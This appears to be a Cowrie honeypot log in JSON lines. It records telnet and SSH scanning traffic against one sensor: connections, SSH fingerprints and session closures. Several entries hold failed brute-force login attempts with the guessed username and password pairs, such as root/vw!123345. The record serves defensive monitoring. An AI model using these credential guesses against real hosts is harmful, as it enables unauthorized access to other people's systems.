{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":48774,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2c030863d11","protocol":"telnet","message":"New connection: 107.155.66.219:48774 (159.203.135.109:23) [session: e2c030863d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:25.289846Z"}
{"eventid":"cowrie.session.closed","duration":30.84402298927307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:26.086071Z","src_ip":"107.155.66.219","session":"cb99a5353530","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.572116136550903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:26.828893Z","src_ip":"107.155.66.219","session":"be4db7a0a7fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.046124696731567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:27.092645Z","src_ip":"107.155.66.219","session":"3d6eea5604c4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vw!123345","message":"login attempt [root/vw!123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:29.765900Z","src_ip":"213.209.159.158","session":"1c7c8c13f6b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.928717374801636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:30.029495Z","src_ip":"107.155.66.219","session":"bcf071b142cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95741558074951,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:30.062568Z","src_ip":"107.155.66.219","session":"2c3eda4ca32c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":33326,"dst_ip":"159.203.135.109","dst_port":23,"session":"471e15e45f5a","protocol":"telnet","message":"New connection: 107.155.66.219:33326 (159.203.135.109:23) [session: 471e15e45f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:30.189540Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":33330,"dst_ip":"159.203.135.109","dst_port":23,"session":"90c2e408a01b","protocol":"telnet","message":"New connection: 107.155.66.219:33330 (159.203.135.109:23) [session: 90c2e408a01b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:30.696255Z"}
{"eventid":"cowrie.session.closed","duration":30.12171459197998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:31.038069Z","src_ip":"107.155.66.219","session":"5da1b5baf861","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59324812889099,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:31.042086Z","src_ip":"107.155.66.219","session":"2c1e81e9a700","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":33346,"dst_ip":"159.203.135.109","dst_port":23,"session":"d46239136a05","protocol":"telnet","message":"New connection: 107.155.66.219:33346 (159.203.135.109:23) [session: d46239136a05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:31.549462Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":33348,"dst_ip":"159.203.135.109","dst_port":23,"session":"ade02603272a","protocol":"telnet","message":"New connection: 107.155.66.219:33348 (159.203.135.109:23) [session: ade02603272a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:31.933905Z"}
{"eventid":"cowrie.session.closed","duration":30.90008807182312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:32.033104Z","src_ip":"107.155.66.219","session":"8b529463ec14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":33350,"dst_ip":"159.203.135.109","dst_port":23,"session":"73b186f20850","protocol":"telnet","message":"New connection: 107.155.66.219:33350 (159.203.135.109:23) [session: 73b186f20850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:32.344769Z"}
{"eventid":"cowrie.session.closed","duration":31.205130338668823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:32.418353Z","src_ip":"107.155.66.219","session":"b47526085ae5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":33360,"dst_ip":"159.203.135.109","dst_port":23,"session":"3509777c3a36","protocol":"telnet","message":"New connection: 107.155.66.219:33360 (159.203.135.109:23) [session: 3509777c3a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:32.933007Z"}
{"eventid":"cowrie.session.closed","duration":120.00095558166504,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:33.016869Z","src_ip":"177.146.132.183","session":"04bcfd3ad6d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:33.158206Z","src_ip":"213.209.159.158","session":"1c7c8c13f6b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":20588,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7f4decaf58a","protocol":"ssh","message":"New connection: 213.209.159.158:20588 (159.203.135.109:22) [session: e7f4decaf58a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:33.305737Z"}
{"eventid":"cowrie.session.closed","duration":30.738498210906982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:34.027022Z","src_ip":"107.155.66.219","session":"b0e23760cb74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.07706642150879,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:34.031641Z","src_ip":"107.155.66.219","session":"97410b2e2d7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.851751804351807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:34.038610Z","src_ip":"107.155.66.219","session":"a18a60db3842","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.146.132.183","src_port":55228,"dst_ip":"10.17.0.5","dst_port":23,"session":"50c851451aba","protocol":"telnet","message":"New connection: 177.146.132.183:55228 (10.17.0.5:23) [session: 50c851451aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:34.631796Z"}
{"eventid":"cowrie.session.closed","duration":30.870931386947632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:35.043341Z","src_ip":"107.155.66.219","session":"558b5bc8c6b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83393669128418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:35.052477Z","src_ip":"107.155.66.219","session":"9ba29cf15822","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:35.367582Z","src_ip":"213.209.159.158","session":"e7f4decaf58a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:35.371376Z","src_ip":"213.209.159.158","session":"e7f4decaf58a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.85452961921692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:36.045790Z","src_ip":"107.155.66.219","session":"1b841503f8d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":44194,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4444362e487","protocol":"telnet","message":"New connection: 107.155.66.219:44194 (159.203.135.109:23) [session: a4444362e487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:36.164745Z"}
{"eventid":"cowrie.session.closed","duration":30.651175022125244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:36.290196Z","src_ip":"68.178.160.252","session":"250d607d67bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":44198,"dst_ip":"159.203.135.109","dst_port":23,"session":"d909afad27ef","protocol":"telnet","message":"New connection: 107.155.66.219:44198 (159.203.135.109:23) [session: d909afad27ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:36.724819Z"}
{"eventid":"cowrie.session.closed","duration":30.995166540145874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:37.044286Z","src_ip":"107.155.66.219","session":"2bc3ce0db73c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.816481113433838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:38.027362Z","src_ip":"107.155.66.219","session":"5361e2b3c157","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965924501419067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:38.063605Z","src_ip":"107.155.66.219","session":"71566d61a6f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7404522895813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:38.162036Z","src_ip":"107.155.66.219","session":"0c51df1724f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":44212,"dst_ip":"159.203.135.109","dst_port":23,"session":"edda2fd265eb","protocol":"telnet","message":"New connection: 107.155.66.219:44212 (159.203.135.109:23) [session: edda2fd265eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:38.507908Z"}
{"eventid":"cowrie.session.closed","duration":30.959487199783325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:39.065435Z","src_ip":"107.155.66.219","session":"52ea131f00b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":44224,"dst_ip":"159.203.135.109","dst_port":23,"session":"60b364704ae2","protocol":"telnet","message":"New connection: 107.155.66.219:44224 (159.203.135.109:23) [session: 60b364704ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:39.135114Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":44234,"dst_ip":"159.203.135.109","dst_port":23,"session":"5afa1760ddeb","protocol":"telnet","message":"New connection: 107.155.66.219:44234 (159.203.135.109:23) [session: 5afa1760ddeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:40.588248Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":44246,"dst_ip":"159.203.135.109","dst_port":23,"session":"af45504dfd7e","protocol":"telnet","message":"New connection: 107.155.66.219:44246 (159.203.135.109:23) [session: af45504dfd7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:41.219759Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":44258,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e2c260b988a","protocol":"telnet","message":"New connection: 107.155.66.219:44258 (159.203.135.109:23) [session: 1e2c260b988a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:41.375982Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":44264,"dst_ip":"159.203.135.109","dst_port":23,"session":"788e37b9880a","protocol":"telnet","message":"New connection: 107.155.66.219:44264 (159.203.135.109:23) [session: 788e37b9880a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:42.346644Z"}
{"eventid":"cowrie.session.closed","duration":30.8976411819458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:43.036517Z","src_ip":"107.155.66.219","session":"2e1473311c01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":44276,"dst_ip":"159.203.135.109","dst_port":23,"session":"a884983c3234","protocol":"telnet","message":"New connection: 107.155.66.219:44276 (159.203.135.109:23) [session: a884983c3234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:44.178132Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":58630,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c35d70b60cf","protocol":"telnet","message":"New connection: 68.178.160.252:58630 (159.203.135.109:23) [session: 9c35d70b60cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:44.566487Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfr43edcxsw2","message":"login attempt [root/vfr43edcxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:44.953289Z","src_ip":"213.209.159.158","session":"e7f4decaf58a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58162,"dst_ip":"159.203.135.109","dst_port":22,"session":"152e65128f47","protocol":"ssh","message":"New connection: 159.203.92.129:58162 (159.203.135.109:22) [session: 152e65128f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:45.011858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:45.017684Z","src_ip":"159.203.92.129","session":"152e65128f47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:45.029979Z","src_ip":"159.203.92.129","session":"152e65128f47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"newpass","message":"login attempt [ansible/newpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:45.051004Z","src_ip":"159.203.92.129","session":"152e65128f47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":44284,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fa3940fa581","protocol":"telnet","message":"New connection: 107.155.66.219:44284 (159.203.135.109:23) [session: 5fa3940fa581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:45.184574Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":44294,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fb50ee37e67","protocol":"telnet","message":"New connection: 107.155.66.219:44294 (159.203.135.109:23) [session: 1fb50ee37e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:45.268783Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":44300,"dst_ip":"159.203.135.109","dst_port":23,"session":"2630718e0170","protocol":"telnet","message":"New connection: 107.155.66.219:44300 (159.203.135.109:23) [session: 2630718e0170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:45.568207Z"}
{"eventid":"cowrie.session.closed","duration":30.766623735427856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:46.027756Z","src_ip":"107.155.66.219","session":"20c83d46893c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:46.058312Z","src_ip":"159.203.92.129","session":"152e65128f47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.029855251312256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:46.127581Z","src_ip":"107.155.66.219","session":"74bcfb0eaec7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":58890,"dst_ip":"159.203.135.109","dst_port":23,"session":"27d2b035b075","protocol":"telnet","message":"New connection: 107.155.66.219:58890 (159.203.135.109:23) [session: 27d2b035b075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:46.144355Z"}
{"eventid":"cowrie.session.closed","duration":30.76522469520569,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:46.273291Z","src_ip":"68.178.160.252","session":"59b5feff3593","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":41836,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa841f9f55e7","protocol":"ssh","message":"New connection: 43.159.177.40:41836 (159.203.135.109:22) [session: fa841f9f55e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:46.720021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:46.724387Z","src_ip":"43.159.177.40","session":"fa841f9f55e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:46.802642Z","src_ip":"43.159.177.40","session":"fa841f9f55e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwer123","message":"login attempt [user/qwer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:47.109864Z","src_ip":"43.159.177.40","session":"fa841f9f55e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":58906,"dst_ip":"159.203.135.109","dst_port":23,"session":"99dbf793aba8","protocol":"telnet","message":"New connection: 107.155.66.219:58906 (159.203.135.109:23) [session: 99dbf793aba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:47.720247Z"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:48.165162Z","src_ip":"213.209.159.158","session":"e7f4decaf58a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:48.180133Z","src_ip":"43.159.177.40","session":"fa841f9f55e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":58920,"dst_ip":"159.203.135.109","dst_port":23,"session":"2992a65f821f","protocol":"telnet","message":"New connection: 107.155.66.219:58920 (159.203.135.109:23) [session: 2992a65f821f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:48.196093Z"}
